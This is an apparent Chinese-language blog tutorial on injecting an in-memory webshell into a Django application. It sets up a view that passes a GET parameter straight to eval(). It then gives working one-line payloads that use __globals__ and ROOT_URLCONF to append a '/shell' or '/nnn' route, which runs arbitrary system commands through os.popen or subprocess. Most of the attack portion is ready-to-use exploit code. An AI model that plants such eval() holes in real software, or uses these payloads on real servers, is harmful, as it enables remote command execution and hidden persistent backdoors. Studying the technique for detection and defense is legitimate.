1.安装Django:如果你还没有安装 Django,可以通过 pip 安装:
pip install django
2.创建Django项目:使用 Django 提供的命令行工具来创建一个新的项目。
django-admin startproject myproject
cd myproject
3.创建应用:在 Django 项目中,你可以创建多个应用。应用可以看作是项目的一个模块或组件。
python manage.py startapp memshell
4.配置URL路由:如你所展示的,在 memshell/urls.py
文件中定义了路由和视图的映射关系。确保在项目的主 urls.py
文件中也包含了对这个应用的引用(如果适用)。
from django.contrib import admin
from django.urls import path
from .views import calc
urlpatterns = [
path('admin/', admin.site.urls),
path('calc', calc)
]
5.编写视图:你已经在 memshell/views.py
中定义了一个名为 calc
的视图函数,它接受 GET 请求并计算传入的表达式。
from django.http import HttpResponse
def calc(request):
result = eval(request.GET.get('exp'))
return HttpResponse('<h2>result: %s!</h2>' % result)
6.运行服务器:完成上述步骤后,你可以通过以下命令启动开发服务器:
python manage.py runserver
访问/admin
Django使用一个名为urlpatterns
的列表来存储所有的URL模式。每个URL模式通常是一个path()
或url()
函数调用的结果,它们将一个特定的URL路径映射到一个视图函数。
现在我们的思路就是动态地向urlpatterns
中添加新的路径,可以引入一个新的可访问端点,该端点用于接收命令和返回结果。
在 Django
中,网站目录下会有一个 settings.py
文件用于定义应用配置,其中 ROOT_URLCONF
指定了当前应用路由入口
现在需要获取到
settings
这个对象
在Python中,函数对象有一个名为__globals__
的属性,它指向定义该函数时所在的全局命名空间(即全局变量字典)。通过这个属性,可以从一个局部作用域访问到整个模块的全局变量。在Django视图函数中,可以从request
参数关联的任何函数出发,访问到整个模块的全局变量,包括Django项目的设置和URL配置。
那么直接将其导入,就可以获得当前应用的入口
这个时候, 就可以通过访问
urls.urlpatterns
来操作路由列表了
在路由定义中,每一条路由都会调用 path
函数来进行定义
跟进一下
它接收四个参数:
route
、view
、kwargs
和name
,其中kwargs
和name
是可选参数。主要关注的是前两个参数:
**route**
: 这是一个字符串,表示匹配的URL模式。**view**
: 这是一个可调用对象,当URL匹配时会被调用。它可以是:django.views.View
的类,并通过.as_view()
方法转换为可调用对象(urlconf_module, app_name, namespace)
的元组或列表,用于包含其他URL配置_path
函数对view
参数有特定的要求,具体如下:
view
是一个可调用对象(例如普通函数或实现了__call__
方法的对象),则直接将其作为视图函数处理。view
是一个包含(urlconf_module, app_name, namespace)
的元组或列表,则用于包含其他URL配置。view
是一个继承自django.views.View
的类,则需要调用其.as_view()
方法将其转换为可调用对象。view
不符合上述任何一种情况,则会抛出TypeError
异常。由于_path
函数要求视图参数必须是可调用的,我们可以使用Python的lambda表达式来快速定义一个简单的视图函数。Lambda表达式是一种创建匿名函数的方式,非常适合这种场景。
内存马
__import__('django').urls.path('shell',
lambda request: __import__('django').http.HttpResponse(
__import__('os').popen(request.GET.get('cmd','id')).read()
)
)
__import__('django')
: 使用__import__()
动态加载Django模块。这是为了在运行时而不是在脚本启动时加载模块,适合用于需要动态行为的场景。__import__('django').urls.path
: 从Django模块中导入path
函数,用于定义新的URL模式。__import__('django').http.HttpResponse
: 从Django模块中导入HttpResponse
类,用于创建HTTP响应对象。__import__('os').popen
: 动态加载Python的os
模块,并使用popen
函数来执行系统命令。'shell'
: 这是新添加的URL路径部分。任何对/shell
的GET请求都会匹配这个模式。lambda request: ...
: 这是一个匿名函数(lambda表达式),用作视图函数处理请求。它接收一个request
对象作为输入参数。request.GET.get('cmd','id')
: 从HTTP请求的GET参数中获取名为cmd
的值。如果未提供cmd
参数,则默认使用id
命令。__import__('os').popen(...).read()
: 使用os.popen
函数执行从请求中提取出的命令,并读取其输出结果。__import__('django').http.HttpResponse(...)
: 将命令执行的结果包装成HTTP响应返回给客户端。将新路由append到app.urlpatterns中实现内存马
__import__(request.get_port.__globals__["settings"].ROOT_URLCONF).urls.urlpatterns.append(__import__('django').urls.path('shell',lambda request: __import__('django').http.HttpResponse(__import__('os').popen(request.GET.get('cmd','id')).read())))
效果:
也可以使用
subprocess.check_output()
来执行命令
__import__(__import__('django.conf').conf.settings.ROOT_URLCONF).urls.urlpatterns.append(
__import__('django').urls.path('nnn',
lambda request: __import__('django.http').http.HttpResponse(
__import__('subprocess').check_output(
request.GET.get('cmd', 'id'), shell=True)
)
)
)
6 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!